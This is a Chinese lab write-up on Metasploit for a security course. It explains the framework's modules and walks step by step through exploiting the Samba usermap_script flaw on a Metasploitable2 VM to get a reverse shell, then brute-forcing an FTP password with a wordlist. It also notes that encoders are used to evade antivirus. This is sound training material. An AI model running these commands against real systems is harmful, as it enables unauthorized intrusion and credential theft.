##metasploit技术
###一、实验目的
1.了解metasploit技术原理
2.学会利用metasokit对目标机器进行渗透攻击
###二、实验环境
1.系统环境:Windows环境, kali环境,Metasploitable2环境
2.软件工具:msfconsole
###三、实验原理
Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试以及入侵检测系统签名开发。
Metasploit框架(Metasploit Framework , MSF)是一个开源工具,由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口。推荐使用控制台接口,通过控制台接口,可以访问和使用所有的Metasploit插件,例如Payloads模块,Post模块等。Metasploit还有第三方程序的接口,例如Nmap,SQLMap等,可以直接在控制台接口使用,要访问该界面,需要在命令行下输入msfconsole开始使用。
MSF框架由多个模块组成,各个模块及其具体的功能如下:
模块 | 功能 |
---|---|
Auxiliaries(辅助模块) | 辅助模块不会直接在测试者和目标之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试 |
Exploit(漏洞利用模块) | 漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击以及利用配置错误等,其中包含攻击者或者测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全的攻击代码,每个漏洞都有相应的攻击代码 |
Payload(攻击载荷模块) | 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由的选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等 |
Post(后期渗透模块) | 后期渗透模块主要用于在取得目标系统远程控制权后,进行一些列的后期渗透攻击动作,如获取敏感信息,实施跳板攻击等 |
Encoders(编码攻击模块) | 编码攻击模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS、IPS及类似的安全软件及设备检测出来 |
使用Metasploit框架的基本步骤包括:1.扫描目标主机,寻找可用漏洞2.选择并配置一个攻击代码(Explolt,利用漏洞来进入目标系统的代码)3.检查目标系统是否会被此代码影响(可选)4.选择并配置一个有效负载(Payload,在成功进入后在目标系统上执行的代码)5.选择编码方式,使入侵防御系统忽略已被编码的有效负载,即绕过杀毒软件的查杀6.执行攻击代码
Meatsploit目录结构meatspolit的工作目录在
/usr/share/metasploit-framework
中
- data:meatsploit使用的可编辑文件
- documentation:为框架提供文档
- lib:框架代码库
- modules:实际的MSF模块
- plugins:可以在运行时加载的插件
- scripts:Meatsploit和其它脚本
- tools:各种有用的命令行工具
Meatsploit常用基本使用命令启动在终端输入
msfconsole
即可启动
use命令
info
用来查看模块的相关信息
show options命令
show options
查看利用模块需要配置的相关信息
set命令
set
设置所利用的模块的配置
运行攻击使用
exploit
或者
run
就可以开始执行攻击了
show命令
show
命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info,options
show exploits #列出框架中的所有渗透攻击模块。show payload #列出metasploit框架中的所有攻击载荷。show auxiliary #列出metasploit框架中的所有辅助攻击载荷。show options #查看利用的模块相关信息
###四、实验步骤
本次实验目标机是Metasploitable2系统,在kali中使用Metasploit对目标机Metasploitable2进行渗透攻击。Metasploitable2系统的虚拟镜像的下载地址为:https://sourceforge.net/projects/metasploitable/files/Metasploitable2/,打开网址点击metasploitable-linux-2.0.0.zip进行下载即可,如下图所示:
1. 安装渗透目标机器首选将metasploitable-linux-2.0.0.zip解压,在VMware中点击文件-打开,进入刚解压的metasploitable-linux-2.0.0文件夹中,选中文件并点击打开按钮。
Metasploitable2靶机开始启动,虚拟机启动完成之后使用用户名
msfadmin
,密码
msfadmin
登录,如下图所示:
登录成功后,使用shell运行ifconfig命令来查看IP地址(192.168.70.138),如下图所示:
2. 主机扫描渗透测试的第一步为扫描和搜集信息,尽可能的发现更多的关于目标机器的信息,如目标机器IP地址、可用服务、开放端口等等,获取的信息越多,渗透的概率就越大,打开kali系统,打开终端,输入启动命令:
msfconsole
,如下图所示:
Auxiliaries(辅助模块)主要负责执行扫描、嗅探、指纹识别等功能用于辅助渗透测试,输入命令:
search portsacn
搜索可用的端口扫描模块,如下图所示:
从上述图中可以看出包含各种扫描类型的可用扫描器列表
auxiliary/scanner/portscan/tcp
为例,输入
use
命令使用该模块,然后输入
show options
命令查看需要设置的参数,如下图所示:
图中列出了各项参数以及对应参数的描述,Required为yes表示此项参数必须包含值,如图中Name为RHOSTS的Current Setting为空,所以需要人为对其进行设置,从其描述来看,此项表示为待扫描的IP地址,输入
set
命令设置Metasploitable2主机的IP地址为攻击IP,如下图所示:
其他的重要参数如PORTS表示扫描端口的范围,THREADS表示扫描线程数等等,同样通过
set
命令对PORTS以及THREADS进行设置,如下图所示:
确认参数没有错误后,属于命令
run
开启扫描,扫描结果如下图所示:
在Metasploit中同样可以使用Nmap扫描,它不仅仅可以用来确定网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等等在msf命令提示符下输入
namp
,就可以显示Nmap提供的扫描选项列表,如下图所示:
3. 漏洞利用首先对Metasploitable2靶机进行扫描,使用Nmap对其进行扫描查看其开放的端口和相关服务的应用程序用以搜集有用的服务信息,例如:在kali终端输入命令:
nmap -sV 192.168.70.138
,使用Nmap扫描并查看开放端口和相关应用程序,如下图所示:
搜集到目标靶机信息之后,选择合适的Exploit和Payload,从上图扫描结果中可以看到目标靶机上运行了Samba服务,Samba是Linux和unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务
输入
search samba
命令搜索Samba的可以利用的漏洞模块,搜索结果如下图所示:
从图中可以看到列出了可用的漏洞利用模块的列表,选择
exploit/multi/samba/usermap_script
此模块来进行渗透首先输入命令
info exploit/multi/samba/usermap_script
查看此模块的详细信息,如下图所示:
输入命令
use exploit/multi/samba/usermap_script
即可使用该漏洞模块,如下图所示:
可以看到命令提示符msf>变成了msf exploit(multi/samba/usermap_script)>,继续输入命令
show payloads
即可查看该漏洞利用模块下可以选择的攻击载荷模块,如下图所示:
接下来选择基础的cmd/unix/reverse反响攻击载荷模块,输入命令
set payload cmd/unix/reverse
设置被攻击主机的IP地址,输入命令:
set RHOSTS 192.168.70.138
设置漏洞利用的端口号,输入命令:
set RPORT 445
设置攻击主机的IP地址,输入命令:
set LHOST 192.168.70.134
设置过程如下图所示:
设置完成后,执行攻击代码的命令为
run
,攻击,结果如下图所示:
发送攻击成功之后会获取目标靶机的shell,为验证该shell是否为目标靶机Metasploitable2的,可以输入命令查询主机名,系统信息以及网络配置等等,如下图所示:
从图中可以看出,攻击主机shell获取的信息确实与Metasploitable2靶机一致,说明对其渗透攻击成功!
4. 利用ftp_login漏洞破译用户名,密码首先打开Windows7的FTP服务,设置用户名:
zsz
,密码:
123456
输入
search ftp_login
命令搜索ftp_login的可以利用的漏洞模块,搜索结果如下图所示:
从图中可以看到列出了可用的漏洞利用模块的列表,选择
auxiliary/scanner/ftp/ftp_login
此模块来进行渗透,首先输入命令
use auxiliary/scanner/ftp/ftp_login
即可使用该漏洞模块,如下图所示:
接下来输入
show options
查看需要配置的信息,如下图所示:
设置被攻击主机的IP地址,输入命令:
set RHOSTS 192.168.70.133
设置被攻击的FTP的用户名,输入命令:
set USERNAME zsz
设置密码字典路径,输入命令:
set PASS_FILE /usr/share/wordlists/fasttrack.txt
设置完成后,执行攻击代码的命令为
run
,攻击,结果如下图所示:
成功利用ftp_login漏洞模块破译出了Windows7主机的FTP登录用户名密码!